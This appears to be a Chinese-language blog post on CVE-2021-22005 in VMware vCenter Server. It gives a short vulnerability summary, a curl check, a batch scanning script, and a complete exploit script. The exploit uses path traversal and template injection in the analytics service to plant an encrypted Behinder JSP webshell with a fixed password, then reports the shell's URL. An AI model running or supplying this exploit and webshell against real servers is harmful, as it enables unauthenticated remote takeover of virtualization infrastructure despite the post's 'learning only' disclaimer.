目录
漏洞描述
影响版本
漏洞检测poc
漏洞EXP
声明:切勿用于非法入侵,仅供检测与学习!传送门 ——> 中华人民共和国网络安全法
2021年9月21日,VMware发布安全公告,公开披露了vCenter Server中的19个安全漏洞,这些漏洞的CVSSv3评分范围为4.3-9.8。
其中,最为严重的漏洞为vCenter Server 中的任意文件上传漏洞(CVE-2021-22005),该漏洞存在于vCenter Server的分析服务中,其CVSSv3评分为 9.8。能够网络访问vCenter Server 上的 443 端口的攻击者可以通过上传恶意文件在 vCenter Server 上远程执行代码。该漏洞无需经过身份验证即可远程利用,攻击复杂度低,且无需用户交互。
根据Shodan的搜索结果,数以千计的vCenter Server可通过互联网访问并受到攻击 。目前已经检测到攻击者正在扫描和攻击存在漏洞的VMware vCenter 服务器。
我们可以针对 /analytics/telemetry/ph/api/level 端点执行更相关的 cURL 请求来识别你的服务器是否受影响
curl -k -v "https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test"
构建POC如下
#author: 小缘喵 import requests from requests.packages import urllib3 urllib3.disable_warnings() headers={ 'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36' } params = ( ('_c', 'test'), ) for i in open('漏洞url所在的.txt','r'): if 'https' in i: i = i.strip('\r\n') url = i + "/analytics/telemetry/ph/api/level" try: r = requests.get(url=url,headers=headers,params=params,verify=False,timeout=10) code = r.status_code if code == 200: text = r.text if text: if "OFF" not in text: print(f"\033[0;31m{url}\033[0m 可能存在漏洞") with open('vul.text','a',encoding='utf-8') as f: f.write(i+"\r") else: print(f"{i} 不存在漏洞") except: pass else: pass
用法:CVE-2021-22005_poc.py -t https://ip地址
import requests import random import string import sys import time import requests import urllib3 import argparse urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def id_generator(size=6, chars=string.ascii_lowercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) def escape(_str): _str = _str.replace("&", "&") _str = _str.replace("<", "<") _str = _str.replace(">", ">") _str = _str.replace("\"", """) return _str def str_to_escaped_unicode(arg_str): escaped_str = '' for s in arg_str: val = ord(s) esc_uni = "\\u{:04x}".format(val) escaped_str += esc_uni return escaped_str def createAgent(target, agent_name, log_param): url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param) headers = { "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0", "X-Deployment-Secret": "abc", "Content-Type": "application/json", "Connection": "close" } json_data = { "manifestSpec":{}, "objectType": "a2", "collectionTriggerDataNeeded": True, "deploymentDataNeeded":True, "resultNeeded": True, "signalCollectionCompleted":True, "localManifestPath": "a7", "localPayloadPath": "a8", "localObfuscationMapPath": "a9" } requests.post(url, headers=headers, json=json_data, verify=False) def generate_manifest(webshell_location, webshell): manifestData = """<manifest recommendedPageSize="500"> <request> <query name="vir:VCenter"> <constraint> <targetType>ServiceInstance</targetType> </constraint> <propertySpec> <propertyNames>content.about.instanceUuid</propertyNames> <propertyNames>content.about.osType</propertyNames> <propertyNames>content.about.build</propertyNames> <propertyNames>content.about.version</propertyNames> </propertySpec> </query> </request> <cdfMapping> <indepedentResultsMapping> <resultSetMappings> <entry> <key>vir:VCenter</key> <value> <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping"> <resourceItemToJsonLdMapping> <forType>ServiceInstance</forType> <mappingCode><![CDATA[ #set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))## #set($orig_log = $appender.getFile())## #set($logger = $GLOBAL-logger.logger.parent)## $appender.setFile("%s")## $appender.activateOptions()## $logger.warn("%s")## $appender.setFile($orig_log)## $appender.activateOptions()##]]> </mappingCode> </resourceItemToJsonLdMapping> </value> </value> </entry> </resultSetMappings> </indepedentResultsMapping> </cdfMapping> <requestSchedules> <schedule interval="1h"> <queries> <query>vir:VCenter</query> </queries> </schedule> </requestSchedules> </manifest>""" % (webshell_location, webshell) return manifestData def arg(): parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", help = "Target", required = True) args = parser.parse_args() target = args.target print("[*] Target: %s" % target) return target def exec(): target = arg() # Variables webshell_param = id_generator(6) log_param = id_generator(6) agent_name = id_generator(6) shell_name = "Server.jsp" webshell = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>""" webshell_location = "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name webshell = str_to_escaped_unicode(webshell) manifestData = generate_manifest(webshell_location,webshell) print("[*] Creating Agent") createAgent(target, agent_name, log_param) url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param) headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0", "X-Deployment-Secret": "abc", "Content-Type": "application/json", "Connection": "close"} json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"} requests.post(url, headers=headers, json=json_data, verify=False) #webshell连接地址 url = "%s/idm/..;/%s" % (target, shell_name) code = requests.get(url=url, headers=headers,verify=False).status_code if code != "404": print("webshell地址: %s" % url) print("[*]冰蝎3.0 Webshell连接密码: rebeyond" ) else: print("未获取到webshell地址") if __name__ == '__main__': exec()